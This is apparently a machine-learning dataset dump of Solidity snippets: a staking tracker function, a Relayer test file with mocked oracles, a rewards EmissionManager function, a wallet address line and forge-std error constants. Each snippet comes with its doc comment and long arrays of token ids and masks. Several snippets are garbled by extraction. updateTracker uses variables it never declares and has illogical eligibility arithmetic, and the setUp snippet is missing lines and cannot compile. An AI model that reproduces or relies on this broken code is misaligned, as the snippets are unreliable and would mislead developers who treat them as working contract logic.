-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
./partial_match/8217/0xEa6E36822227100B8FccBbEd55520c00a17BD160/sources/contracts/StakingTracker.sol | @dev Re-evalute balances and subsequently voting power Resolve GC | function updateTracker(uint256 trackerId, address staking) private {
Tracker storage tracker = trackers[trackerId];
uint256 gcId = tracker.stakingToGCId[staking];
if (gcId == 0) {
return;
}
(, uint256 newBalance, , , ) = readCnStaking(staking);
tracker.stakingBalances[staking] = newBalance;
tracker.gcBalances[gcId] -= oldBalance;
tracker.gcBalances[gcId] += newBalance;
uint256 gcBalance = tracker.gcBalances[gcId];
bool isEligible = newBalance >= MIN_STAKE();
if (wasEligible != isEligible) {
tracker.numEligible -= 1;
tracker.numEligible += 1;
}
recalcAllVotes(trackerId);
}
uint256 newVotes = calcVotes(tracker.numEligible, gcBalance);
tracker.gcVotes[gcId] = newVotes;
tracker.totalVotes -= oldVotes;
tracker.totalVotes += newVotes;
emit RefreshStake(trackerId, gcId, staking,
newBalance, gcBalance, newVotes, tracker.totalVotes);
| 16,911,339 | [
1,
426,
17,
8622,
624,
324,
26488,
471,
10815,
715,
331,
17128,
7212,
9910,
15085,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
445,
1089,
8135,
12,
11890,
5034,
9745,
548,
16,
1758,
384,
6159,
13,
3238,
288,
203,
3639,
11065,
264,
2502,
9745,
273,
3298,
414,
63,
16543,
548,
15533,
203,
203,
3639,
2254,
5034,
8859,
548,
273,
9745,
18,
334,
6159,
774,
15396,
548,
63,
334,
6159,
15533,
203,
3639,
309,
261,
13241,
548,
422,
374,
13,
288,
203,
5411,
327,
31,
203,
3639,
289,
203,
203,
3639,
261,
16,
2254,
5034,
394,
13937,
16,
269,
269,
262,
273,
855,
21111,
510,
6159,
12,
334,
6159,
1769,
203,
3639,
9745,
18,
334,
6159,
38,
26488,
63,
334,
6159,
65,
273,
394,
13937,
31,
203,
3639,
9745,
18,
13241,
38,
26488,
63,
13241,
548,
65,
3947,
1592,
13937,
31,
203,
3639,
9745,
18,
13241,
38,
26488,
63,
13241,
548,
65,
1011,
394,
13937,
31,
203,
3639,
2254,
5034,
8859,
13937,
273,
9745,
18,
13241,
38,
26488,
63,
13241,
548,
15533,
203,
203,
3639,
1426,
353,
4958,
16057,
273,
394,
13937,
1545,
6989,
67,
882,
37,
6859,
5621,
203,
3639,
309,
261,
17416,
4958,
16057,
480,
353,
4958,
16057,
13,
288,
203,
7734,
9745,
18,
2107,
4958,
16057,
3947,
404,
31,
203,
7734,
9745,
18,
2107,
4958,
16057,
1011,
404,
31,
203,
5411,
289,
203,
5411,
283,
12448,
1595,
29637,
12,
16543,
548,
1769,
203,
3639,
289,
203,
203,
3639,
2254,
5034,
394,
29637,
273,
7029,
29637,
12,
16543,
18,
2107,
4958,
16057,
16,
8859,
13937,
1769,
203,
3639,
9745,
18,
13241,
29637,
63,
13241,
548,
65,
273,
394,
29637,
31,
203,
3639,
9745,
18,
4963,
2
]
|
// SPDX-License-Identifier: Apache-2.0
pragma solidity ^0.8.0;
import {Hevm} from "../test/utils/Hevm.sol";
import {DSTest} from "ds-test/test.sol";
import {MockProvider} from "@cleanunicorn/mockprovider/src/MockProvider.sol";
import {Caller} from "../test/utils/Caller.sol";
import {Guarded} from "../guarded/Guarded.sol";
import {ICollybus} from "./ICollybus.sol";
import {Relayer} from "./Relayer.sol";
import {IRelayer} from "./IRelayer.sol";
import {IOracle} from "../oracle/IOracle.sol";
import {ChainlinkValueProvider} from "../oracle_implementations/spot_price/Chainlink/ChainlinkValueProvider.sol";
import {IChainlinkAggregatorV3Interface} from "../oracle_implementations/spot_price/Chainlink/ChainlinkAggregatorV3Interface.sol";
import {CheatCodes} from "../test/utils/CheatCodes.sol";
contract TestCollybus is ICollybus {
mapping(bytes32 => uint256) public valueForToken;
function updateDiscountRate(uint256 tokenId_, uint256 rate_)
external
override(ICollybus)
{
valueForToken[bytes32(uint256(tokenId_))] = rate_;
}
function updateSpot(address tokenAddress_, uint256 spot_)
external
override(ICollybus)
{
valueForToken[bytes32(uint256(uint160(tokenAddress_)))] = spot_;
}
}
contract RelayerTest is DSTest {
CheatCodes internal cheatCodes = CheatCodes(HEVM_ADDRESS);
Relayer internal relayer;
TestCollybus internal collybus;
IRelayer.RelayerType internal relayerType =
IRelayer.RelayerType.DiscountRate;
MockProvider internal oracle;
bytes32 private _mockTokenId;
uint256 private _mockMinThreshold = 1;
int256 private _oracleValue = 100 * 10**18;
function setUp() public {
collybus = new TestCollybus();
oracle = new MockProvider();
_mockTokenId = bytes32(uint256(1));
// Set the value returned by the Oracle.
oracle.givenQueryReturnResponse(
abi.encodePacked(IOracle.value.selector),
MockProvider.ReturnData({
success: true,
data: abi.encode(_oracleValue, true)
}),
false
);
// We can use the same value as the nextValue
oracle.givenQueryReturnResponse(
abi.encodePacked(IOracle.nextValue.selector),
MockProvider.ReturnData({
success: true,
data: abi.encode(_oracleValue, true)
}),
false
);
oracle.givenSelectorReturnResponse(
Guarded.canCall.selector,
MockProvider.ReturnData({success: true, data: abi.encode(true)}),
false
);
// Set update to return a boolean
oracle.givenQueryReturnResponse(
abi.encodePacked(IOracle.update.selector),
MockProvider.ReturnData({success: true, data: abi.encode(true)}),
true
);
relayer = new Relayer(
address(collybus),
relayerType,
address(oracle),
_mockTokenId,
_mockMinThreshold
);
}
function test_deploy() public {
assertTrue(
address(relayer) != address(0),
"Relayer should be deployed"
);
}
function test_check_collybus() public {
assertEq(relayer.collybus(), address(collybus));
}
function test_check_relayerType() public {
assertTrue(relayer.relayerType() == relayerType, "Invalid relayerType");
}
function test_check_oracle() public {
assertTrue(
relayer.oracle() == address(oracle),
"Invalid oracle address"
);
}
function test_check_encodedTokenId() public {
assertTrue(
relayer.encodedTokenId() == _mockTokenId,
"Invalid encoded token id"
);
}
function test_check_minimumPercentageDeltaValue() public {
assertTrue(
relayer.minimumPercentageDeltaValue() == _mockMinThreshold,
"Invalid minimumPercentageDeltaValue"
);
}
function test_canSetParam_minimumPercentageDeltaValue() public {
// Set the minimumPercentageDeltaValue
relayer.setParam("minimumPercentageDeltaValue", 10_00);
// Check the minimumPercentageDeltaValue
assertEq(relayer.minimumPercentageDeltaValue(), 10_00);
}
function testFail_shouldNotBeAbleToSet_invalidParam() public {
relayer.setParam("invalidParam", 100_00);
}
function test_executeCalls_updateOnOracle() public {
// Execute must call update on all oracles before pushing the values to Collybus
relayer.execute();
// Update was called for both oracles
MockProvider.CallData memory cd = oracle.getCallData(0);
assertTrue(cd.functionSelector == IOracle.update.selector);
}
function test_execute_updateDiscountRateInCollybus() public {
relayer.execute();
assertTrue(
collybus.valueForToken(_mockTokenId) == uint256(_oracleValue),
"Invalid discount rate relayer rate value"
);
}
function test_execute_updateSpotPriceInCollybus() public {
// Create a spot price relayer and check the spot prices in the Collybus
bytes32 mockSpotTokenAddress = bytes32(uint256(1));
Relayer spotPriceRelayer = new Relayer(
address(collybus),
IRelayer.RelayerType.SpotPrice,
address(oracle),
mockSpotTokenAddress,
_mockMinThreshold
);
// Update the rates in collybus
spotPriceRelayer.execute();
assertTrue(
collybus.valueForToken(mockSpotTokenAddress) ==
uint256(_oracleValue),
"Invalid spot price relayer spot value"
);
}
function test_execute_doesNotUpdatesRatesInCollybusWhenDeltaIsBelowThreshold()
public
{
// Threshold percentage
uint256 thresholdPercentage = 50_00; // 50%
relayer.setParam("minimumPercentageDeltaValue", thresholdPercentage);
// Set the value returned by the Oracle.
int256 initialValue = 100;
oracle.givenQueryReturnResponse(
abi.encodePacked(IOracle.value.selector),
MockProvider.ReturnData({
success: true,
data: abi.encode(initialValue, true)
}),
false
);
// Make sure the values are updated, start clean
relayer.execute();
// The initial value is the value we just defined
assertEq(
collybus.valueForToken(_mockTokenId),
uint256(initialValue),
"We should have the initial value"
);
// Update the oracle with a new value under the threshold limit
int256 secondValue = initialValue +
(initialValue * int256(thresholdPercentage)) /
100_00 -
1;
oracle.givenQueryReturnResponse(
abi.encodePacked(IOracle.value.selector),
MockProvider.ReturnData({
success: true,
data: abi.encode(secondValue, true)
}),
false
);
// Execute the relayer
relayer.execute();
// Make sure the new value was not pushed into Collybus
assertEq(
collybus.valueForToken(_mockTokenId),
uint256(initialValue),
"Collybus should not have been updated"
);
}
function test_execute_updatesRatesInCollybusWhenDeltaIsAboveThreshold()
public
{
// Threshold percentage
uint256 thresholdPercentage = 50_00; // 50%
relayer.setParam("minimumPercentageDeltaValue", thresholdPercentage);
// Set the value returned by the Oracle.
int256 initialValue = 100;
oracle.givenQueryReturnResponse(
abi.encodePacked(IOracle.value.selector),
MockProvider.ReturnData({
success: true,
data: abi.encode(initialValue, true)
}),
false
);
// Make sure the values are updated, start from `initialValue`
relayer.execute();
// The initial value is the value we just defined
assertEq(
collybus.valueForToken(_mockTokenId),
uint256(initialValue),
"We should have the initial value"
);
// Update the oracle with a new value above the threshold limit
int256 secondValue = initialValue +
(initialValue * int256(thresholdPercentage)) /
100_00 +
1;
oracle.givenQueryReturnResponse(
abi.encodePacked(IOracle.value.selector),
MockProvider.ReturnData({
success: true,
data: abi.encode(secondValue, true)
}),
false
);
// Execute the relayer
relayer.execute();
// Make sure the new value was pushed into Collybus
assertEq(
collybus.valueForToken(_mockTokenId),
uint256(secondValue),
"Collybus should have the new value"
);
}
function test_executeWithRevert() public {
// Call should not revert
relayer.executeWithRevert();
}
function test_execute_returnsTrue_whenCollybusIsUpdated() public {
bool executed;
executed = relayer.execute();
assertTrue(executed, "The relayer should return true");
}
function test_execute_returnsFalse_whenCollybusIsNotUpdated() public {
bool executed;
// The first execute should return true
executed = relayer.execute();
assertTrue(executed, "The relayer's execute() should return true");
// The second execute should return false because the Collybus will not be updated
executed = relayer.execute();
assertTrue(
executed == false,
"The relayer execute() should return false"
);
}
function test_execute_returnsFalse_whenOracleIsNotUpdated() public {
// Set `update` to return `false`
oracle.givenQueryReturnResponse(
abi.encodePacked(IOracle.update.selector),
MockProvider.ReturnData({success: true, data: abi.encode(false)}),
true
);
// When the oracle's `update` returns `false`, the relayer's `execute` should return `false`
bool executeReturnedValue = relayer.execute();
assertTrue(
executeReturnedValue == false,
"The relayer execute() should return false"
);
}
function test_executeWithRevert_shouldBeSuccessful_onFirstExecution()
public
{
// Call should not revert
relayer.executeWithRevert();
}
function testFail_executeWithRevert_shouldNotBeSuccessful_whenCollybusIsNotUpdated()
public
{
relayer.execute();
// Call should revert
relayer.executeWithRevert();
}
function setChainlinkMockReturnedValue(
MockProvider mockChainlinkAggregator,
int256 value
) internal {
mockChainlinkAggregator.givenQueryReturnResponse(
abi.encodeWithSelector(
IChainlinkAggregatorV3Interface.latestRoundData.selector
),
MockProvider.ReturnData({
success: true,
data: abi.encode(
uint80(0), // roundId
value, // answer
uint256(0), // startedAt
uint256(0), // updatedAt
uint80(0) // answeredInRound
)
}),
false
);
}
function test_executeWithRevert_canBeUpdatedByKeepers() public {
// For this test we will simulate an external actor that must be able to successfully update
// the Relayer via multiple `executeWithRevert()` calls. We will do this by providing multiple
// mocked Chainlink values and making sure that each value is properly validated and used.
int256 firstValue = 1e18;
int256 secondValue = 2e18;
uint256 timeUpdateWindow = 100;
// Test setup, create the mockChainlinkAggregator that will provide data for the Oracle
MockProvider mockChainlinkAggregator = new MockProvider();
mockChainlinkAggregator.givenQueryReturnResponse(
abi.encodeWithSelector(
IChainlinkAggregatorV3Interface.decimals.selector
),
MockProvider.ReturnData({success: true, data: abi.encode(18)}),
false
);
// Deploy the Chainlink Oracle with the mocked Chainlink datafeed contract
ChainlinkValueProvider chainlinkVP = new ChainlinkValueProvider(
timeUpdateWindow,
address(mockChainlinkAggregator)
);
// Deploy the Relayer
Relayer testRelayer = new Relayer(
address(collybus),
relayerType,
address(chainlinkVP),
_mockTokenId,
_mockMinThreshold
);
// Whitelist the relayer in the oracle so it can trigger Oracle.update()
chainlinkVP.allowCaller(chainlinkVP.ANY_SIG(), address(testRelayer));
// Simulate a small time offset as the Oracle.lastTimestamp will start at 0 and we should not be able to update values
uint256 timeStart = timeUpdateWindow + 1;
// Set the Chainlink mock to return the first value
setChainlinkMockReturnedValue(mockChainlinkAggregator, firstValue);
// Forward time to the start of this test scenario
cheatCodes.warp(timeStart);
// Run the first `executeWithRevert()`, `Oracle.currentValue` and `Oracle.nextValue` will be equal to `firstValue`
testRelayer.executeWithRevert();
// Set the next value for the Chainlink mock datafeed
setChainlinkMockReturnedValue(mockChainlinkAggregator, secondValue);
// Forward time to the next window
cheatCodes.warp(timeStart + timeUpdateWindow);
// Call should not revert
testRelayer.executeWithRevert();
// Verify that the oracle was properly updated
// The `nextValue` should now be equal to `secondValue` because of the update
assertTrue(
chainlinkVP.nextValue() == secondValue,
"Invalid Oracle nextValue"
);
// The current oracle value should still be the first value because of the previous executeWithRevert()
// `currentValue` and `nextValue` where initialized to `firstValue`
(int256 value, bool isValid) = chainlinkVP.value();
assertTrue(isValid, "Invalid Oracle value");
assertTrue(value == firstValue, "Incorrect Oracle value");
// Forward time to the next window
cheatCodes.warp(timeStart + timeUpdateWindow * 2);
// Call should not revert
testRelayer.executeWithRevert();
// Make sure the oracle value was updated and is now equal to `secondValue`
(value, isValid) = chainlinkVP.value();
assertTrue(isValid, "Invalid Oracle value");
assertTrue(value == secondValue, "Incorrect Oracle value");
}
}
| Set the value returned by the Oracle. | function setUp() public {
collybus = new TestCollybus();
oracle = new MockProvider();
_mockTokenId = bytes32(uint256(1));
oracle.givenQueryReturnResponse(
abi.encodePacked(IOracle.value.selector),
MockProvider.ReturnData({
success: true,
data: abi.encode(_oracleValue, true)
}),
false
);
abi.encodePacked(IOracle.nextValue.selector),
MockProvider.ReturnData({
success: true,
data: abi.encode(_oracleValue, true)
}),
false
);
oracle.givenSelectorReturnResponse(
Guarded.canCall.selector,
false
);
abi.encodePacked(IOracle.update.selector),
true
);
relayer = new Relayer(
address(collybus),
relayerType,
address(oracle),
_mockTokenId,
_mockMinThreshold
);
}
| 13,018,386 | [
1,
694,
326,
460,
2106,
635,
326,
28544,
18,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
445,
24292,
1435,
1071,
288,
203,
3639,
645,
715,
9274,
273,
394,
7766,
914,
715,
9274,
5621,
203,
3639,
20865,
273,
394,
7867,
2249,
5621,
203,
203,
3639,
389,
22851,
1345,
548,
273,
1731,
1578,
12,
11890,
5034,
12,
21,
10019,
203,
203,
3639,
20865,
18,
10822,
1138,
990,
1064,
12,
203,
5411,
24126,
18,
3015,
4420,
329,
12,
4294,
16873,
18,
1132,
18,
9663,
3631,
203,
5411,
7867,
2249,
18,
990,
751,
12590,
203,
7734,
2216,
30,
638,
16,
203,
7734,
501,
30,
24126,
18,
3015,
24899,
280,
16066,
620,
16,
638,
13,
203,
5411,
289,
3631,
203,
5411,
629,
203,
3639,
11272,
203,
203,
5411,
24126,
18,
3015,
4420,
329,
12,
4294,
16873,
18,
4285,
620,
18,
9663,
3631,
203,
5411,
7867,
2249,
18,
990,
751,
12590,
203,
7734,
2216,
30,
638,
16,
203,
7734,
501,
30,
24126,
18,
3015,
24899,
280,
16066,
620,
16,
638,
13,
203,
5411,
289,
3631,
203,
5411,
629,
203,
3639,
11272,
203,
3639,
20865,
18,
10822,
4320,
990,
1064,
12,
203,
5411,
6467,
17212,
18,
4169,
1477,
18,
9663,
16,
203,
5411,
629,
203,
3639,
11272,
203,
203,
5411,
24126,
18,
3015,
4420,
329,
12,
4294,
16873,
18,
2725,
18,
9663,
3631,
203,
5411,
638,
203,
3639,
11272,
203,
203,
3639,
1279,
1773,
273,
394,
4275,
1773,
12,
203,
5411,
1758,
12,
1293,
715,
9274,
3631,
203,
5411,
1279,
1773,
559,
16,
203,
5411,
1758,
12,
280,
16066,
3631,
203,
5411,
389,
22851,
1345,
548,
16,
203,
5411,
389,
22851,
2930,
7614,
203,
3639,
11272,
2
]
|
./full_match/137/0x2b626791894E2Ff7a23721DC5EEb7b6A5e5d492b/sources/contracts/rewards/EmissionManager.sol | @inheritdoc IEmissionManager | function configureAssets(RewardsDataTypes.DistributionConfig[] memory config) external {
for (uint i; i < config.length; i++) {
if (_emissionAdmins[config[i].reward] != msg.sender) {
revert NotEmissionAdmin(msg.sender, config[i].reward);
}
}
_rewardsController.configureAssets(config);
}
| 4,667,331 | [
1,
36,
10093,
467,
1514,
19710,
1318,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
445,
5068,
10726,
12,
17631,
14727,
751,
2016,
18,
9003,
809,
8526,
3778,
642,
13,
3903,
288,
203,
3639,
364,
261,
11890,
277,
31,
277,
411,
642,
18,
2469,
31,
277,
27245,
288,
203,
5411,
309,
261,
67,
351,
19710,
4446,
87,
63,
1425,
63,
77,
8009,
266,
2913,
65,
480,
1234,
18,
15330,
13,
288,
203,
7734,
15226,
2288,
1514,
19710,
4446,
12,
3576,
18,
15330,
16,
642,
63,
77,
8009,
266,
2913,
1769,
203,
5411,
289,
203,
3639,
289,
203,
3639,
389,
266,
6397,
2933,
18,
14895,
10726,
12,
1425,
1769,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
./partial_match/1/0x664181Ce7E3BA4732Cab79c3074b783080b1aB76/sources/MRFINU.sol | set as marketing wallet
| marketingWallet = address(0x39aEA0373f66D5BE8799e1dcEee3c1E1F7E8088f); | 15,598,138 | [
1,
542,
487,
13667,
310,
9230,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
3639,
13667,
310,
16936,
273,
1758,
12,
20,
92,
5520,
69,
41,
37,
4630,
9036,
74,
6028,
40,
25,
5948,
11035,
2733,
73,
21,
7201,
41,
1340,
23,
71,
21,
41,
21,
42,
27,
41,
3672,
5482,
74,
1769,
225,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
./full_match/5/0x5f1B2f00a6251C1CA68FB08312DF5A125e6f45EF/sources/lib/forge-std/src/Test.sol | DEPRECATED: Use Vm's `expectRevert` without any arguments instead | library stdError {
bytes public constant assertionError = abi.encodeWithSignature("Panic(uint256)", 0x01);
bytes public constant arithmeticError = abi.encodeWithSignature("Panic(uint256)", 0x11);
bytes public constant divisionError = abi.encodeWithSignature("Panic(uint256)", 0x12);
bytes public constant enumConversionError = abi.encodeWithSignature("Panic(uint256)", 0x21);
bytes public constant encodeStorageError = abi.encodeWithSignature("Panic(uint256)", 0x22);
bytes public constant popError = abi.encodeWithSignature("Panic(uint256)", 0x31);
bytes public constant indexOOBError = abi.encodeWithSignature("Panic(uint256)", 0x32);
bytes public constant memOverflowError = abi.encodeWithSignature("Panic(uint256)", 0x41);
bytes public constant zeroVarError = abi.encodeWithSignature("Panic(uint256)", 0x51);
}
| 1,900,981 | [
1,
17575,
30,
2672,
776,
81,
1807,
1375,
12339,
426,
1097,
68,
2887,
1281,
1775,
3560,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
